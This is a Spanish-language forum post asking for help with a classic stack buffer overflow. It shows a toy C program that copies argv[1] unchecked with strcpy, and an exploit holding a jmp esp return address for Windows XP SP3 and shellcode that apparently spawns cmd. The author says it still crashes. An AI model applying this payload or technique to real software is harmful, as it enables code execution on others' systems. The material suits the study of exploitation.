Programa Vulnerable:
Código
#include <string>
int main(int argc, char *argv[])
{
char vari[50];
if(argv[1]) strcpy(vari, argv[1]);
return 0;
}
Exploit:
Código
#include <windows.h>
#include <string>
#include <stdlib.h>
unsigned char payload[] = "main.exe AAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"\x53\x93\x3A\x7E" // 0x7E3A9353 jmp esp user32.dll WINXP32 sp3
"\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC"
"\x63\xC6\x45\xFD\x6D\xC6\x45\xFE\x64"
"\x8D\x45\xFC\x50\xBB\x2E\x88\xBF\x77\xFF\xD3";
int main()
{
system(reinterpret_cast<char*>(payload));
system("pause");
return 0;
}
El problema es que cuando ejecuto el exploit me salta el olly diciendome "Access violation while executing [7E3A9353]" osea q pude sobreescribir el EIP pero sin embargo me sigue crasheando, que estoy haciendo mal???
Un abrazo
APOKLIPTICO










Autor


En línea



